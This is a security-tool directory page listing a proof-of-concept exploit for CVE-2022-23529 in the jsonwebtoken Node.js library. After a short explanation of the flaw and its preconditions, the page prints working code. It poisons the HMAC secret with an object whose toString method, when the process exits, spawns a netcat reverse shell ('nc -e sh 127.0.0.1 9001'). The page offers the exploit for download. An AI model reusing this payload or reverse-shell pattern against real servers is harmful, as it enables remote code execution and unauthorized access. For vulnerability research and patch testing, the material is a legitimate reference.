Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-23529-Exploration — Proof-of-concept exploit for CVE-2022-23529, demonstrating RCE in vulnerable JWT libraries via malicious HMAC secret objects. | Kitploit
Tools/GitHubGitHub/daniel-marchi/cve-2022-23529-exploration
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingPayload Development
GitHubdaniel-marchi/cve-2022-23529-exploration

CVE-2022-23529-Exploration

Proof-of-concept exploit for CVE-2022-23529, demonstrating RCE in vulnerable JWT libraries via malicious HMAC secret objects.

View Repository
3 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-23529

The JSON Web Token (JWT) library versions prior to 3.4.6, 4.0.4, and 4.1.5 are vulnerable to RCE.

The HMAC hashing functions take any string as input which leads to RCE.

Due to the preconditions, this vulnerability is not likly to be exploitable.

In order to exploit this vulnerability an attacker would need one of the following conditions to be true:

  • The server does not store secret keys securely.
  • The attacker needs to have access to and control the secret keys.

npm install [email protected]

var jwt = require('jsonwebtoken');

create a token using the servers secret

var token = jwt.sign({"x":"y"}, 'servers_secret');

create malicious object containing a reverse shell (node.js)

root@kitploit:~
var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}

server verifies the token using malicious object stored as secret

jwt.verify(token, poisoned_secret_on_server);

Download Tool